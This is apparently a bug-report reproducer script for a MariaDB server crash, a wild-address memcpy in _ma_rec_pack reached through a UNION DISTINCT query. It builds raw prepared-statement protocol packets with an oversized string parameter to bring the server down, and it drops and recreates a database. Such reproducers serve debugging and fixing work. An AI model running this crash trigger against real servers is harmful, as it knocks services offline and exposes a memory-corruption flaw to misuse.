#!/usr/bin/env python3
"""Reproducer for a MariaDB server crash (AddressSanitizer abort) in
_ma_rec_pack, storage/maria/ma_dynrec.c:1023.

Top of the crash stack:

    _ma_rec_pack          storage/maria/ma_dynrec.c:1023
    _ma_write_blob_record storage/maria/ma_dynrec.c:266
    maria_write           storage/maria/ma_write.c:285

Root cause: a UNION DISTINCT dedup temp table (Aria dynamic record format)
materializes a row whose blob slot carries a (length, pointer) pair that does
not describe a real buffer; _ma_rec_pack memcpys from the wild address.

Trigger requirements:
  - UNION DISTINCT (UNION ALL does NOT crash), >= 6 projection columns
    (5 do not crash), two-table join (join-cache path), real tables
    (1 row each suffices)
  - one parameter value carried straight into a UNION output column
  - value size: bytes * connection mbmaxlen > 65535 (utf8mb4: 16384 suffices;
    32869 used here)
  - protocol-level type declaration 0xfe (MYSQL_TYPE_STRING); SQL-level
    PREPARE/EXECUTE USING, CAST/CONVERT/REPEAT and text inlining do NOT
    reproduce (they cannot produce the string type handler for a value of
    this size). COM_STMT_EXECUTE flags are irrelevant.
  - on current main (since MDEV-38975, HEAP engine BLOB/TEXT support), the
    internal temp table stays in HEAP with default settings, so this script
    sets tmp_memory_table_size and max_heap_table_size to 1024 to force the
    temp table to Aria.

Reproduced on 13.2.0-MariaDB-asan, source revision f6d172c03bf (main,
2026-10-21).

Requires: python3 and the mysql-connector-python package.

Usage: python3 reproduce_report.py [-H host] [-P port] [-u user]
                                   [-p password] [-d database]
                                   [--timeout seconds]
"""
import argparse
import socket
import struct
import sys
import time

import mysql.connector

SETUP_SQL = [
    "SET SESSION sql_mode=''",
    # Required on main >= MDEV-38975 (HEAP blob support): force the
    # internal temp table off HEAP so it is created as / converts to Aria.
    "SET SESSION tmp_memory_table_size=1024",
    "SET SESSION max_heap_table_size=1024",
    """CREATE TABLE `t1` (
  `c1` int NOT NULL, `c2` double DEFAULT NULL,
  `c3` tinyint DEFAULT NULL, `c4` tinyint DEFAULT NULL,
  PRIMARY KEY (`c1`), UNIQUE KEY `c1` (`c1`,`c2`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4""",
    """CREATE TABLE `t2` (
  `c1` int DEFAULT NULL, `c2` double DEFAULT NULL,
  `c3` int NOT NULL, `c4` text DEFAULT NULL,
  `c5` tinyint NOT NULL, `c6` tinyint DEFAULT NULL,
  `c7` text DEFAULT NULL, `c8` int NOT NULL,
  `c9` int NOT NULL, `c10` tinyint DEFAULT NULL,
  PRIMARY KEY (`c3`), UNIQUE KEY `i83` (`c8`,`c10`,`c9`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4""",
    "INSERT INTO `t1` (`c1`, `c2`, `c3`, `c4`) VALUES ('263091433', '-604006717', NULL, NULL)",
    "INSERT INTO `t2` (`c1`, `c2`, `c3`, `c4`, `c5`, `c6`, `c7`, `c8`, `c9`, `c10`) VALUES ('0', '97.6', '3', X'3131', '0', '0', X'77653467', '16', '100', '1')",
]

PREPARE_SQL = (
    "select ref_1.c7, ?, 1, ref_1.c2, ref_0.c1, ref_1.c7 "
    "from t1 ref_0 inner join t2 ref_1 on (ref_0.c1 >= ref_1.c1) "
    "union (select 1,2,3,4,5,6)"
)

# COM_STMT_EXECUTE fields: flags=0x04 (CURSOR_TYPE_READ_ONLY; irrelevant to
# the crash), iteration_count=1, null_bitmap=0x00 (1 param, not null),
# new_params_bind_flag=1,
# param0 type = 0xfe 0x00 (MYSQL_TYPE_STRING), value = lenenc('E' * 32869).
PARAM_VALUE = b"E" * 32869


def lenenc(data: bytes) -> bytes:
    n = len(data)
    if n < 0xFB:
        return bytes([n]) + data
    if n <= 0xFFFF:
        return b"\xfc" + struct.pack("<H", n) + data
    if n <= 0xFFFFFF:
        return b"\xfd" + struct.pack("<I", n)[:3] + data
    return b"\xfe" + struct.pack("<Q", n) + data


def send_packet(sock, payload, seq=0):
    sock.sendall(struct.pack("<I", len(payload))[:3] + bytes([seq & 0xFF]) + payload)


def recv_exact(sock, n):
    data = bytearray()
    while len(data) < n:
        chunk = sock.recv(n - len(data))
        if not chunk:
            raise ConnectionError("server closed the connection")
        data.extend(chunk)
    return bytes(data)


def read_packet(sock):
    hdr = recv_exact(sock, 4)
    length = hdr[0] | (hdr[1] << 8) | (hdr[2] << 16)
    return recv_exact(sock, length) if length else b""


def server_alive(args):
    try:
        c = mysql.connector.connect(host=args.host, port=args.port,
                                    user=args.user, password=args.password,
                                    connection_timeout=2, use_pure=True)
        c.close()
        return True
    except Exception:
        return False


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("-H", "--host", default="127.0.0.1")
    ap.add_argument("-P", "--port", type=int, default=13309)
    ap.add_argument("-u", "--user", default="root")
    ap.add_argument("-p", "--password", default="")
    ap.add_argument("-d", "--database", default="mydb")
    ap.add_argument("--timeout", type=int, default=20)
    args = ap.parse_args()

    conn = mysql.connector.connect(host=args.host, port=args.port,
                                   user=args.user, password=args.password,
                                   use_pure=True, autocommit=True)
    cur = conn.cursor()
    cur.execute(f"DROP DATABASE IF EXISTS `{args.database}`")
    cur.execute(f"CREATE DATABASE `{args.database}`")
    cur.execute(f"USE `{args.database}`")
    for sql in SETUP_SQL:
        cur.execute(sql)
    cur.close()
    print("[*] setup applied: 2 tables, 1 row each")

    conn.database = args.database
    sock = conn._socket.sock
    sock.settimeout(args.timeout)

    send_packet(sock, b"\x16" + PREPARE_SQL.encode("utf-8"))
    first = read_packet(sock)
    if first[0] == 0xFF:
        errno = struct.unpack_from("<H", first, 1)[0]
        print(f"[-] PREPARE failed: errno={errno}")
        sys.exit(1)
    stmt_id = struct.unpack_from("<I", first, 1)[0]
    num_params = struct.unpack_from("<H", first, 7)[0]
    num_cols = struct.unpack_from("<H", first, 5)[0]
    for _ in range(num_params):
        read_packet(sock)
    if num_params:
        read_packet(sock)
    for _ in range(num_cols):
        read_packet(sock)
    if num_cols:
        read_packet(sock)
    print(f"[*] prepare ok: stmt_id={stmt_id} num_params={num_params} "
          f"num_columns={num_cols}")
    if num_params != 1:
        print("[-] expected 1 parameter")
        sys.exit(1)

    payload = (b"\x17" + struct.pack("<I", stmt_id) + b"\x04" +
               struct.pack("<I", 1) + b"\x00" + b"\x01" +
               b"\xfe\x00" + lenenc(PARAM_VALUE))
    print(f"[*] sending EXECUTE: flags=0x04, payload_len={len(payload)}, "
          f"param0=STRING(0xfe) {len(PARAM_VALUE)} bytes")
    send_packet(sock, payload)

    try:
        resp = read_packet(sock)
        if resp and resp[0] == 0xFF:
            errno = struct.unpack_from("<H", resp, 1)[0]
            print(f"[-] server replied ERR errno={errno} (bug NOT triggered)")
        else:
            print("[-] server survived EXECUTE (bug NOT triggered)")
        return
    except (socket.timeout, ConnectionError, OSError) as exc:
        print(f"[!] connection lost during EXECUTE: {exc}")

    time.sleep(1.5)
    if server_alive(args):
        print("[-] connection lost but server alive (bug NOT confirmed)")
    else:
        print("[!!!] BUG CONFIRMED: server appears to be down "
              "(expected ASan failure at _ma_rec_pack@ma_dynrec.c:1023)")


if __name__ == "__main__":
    main()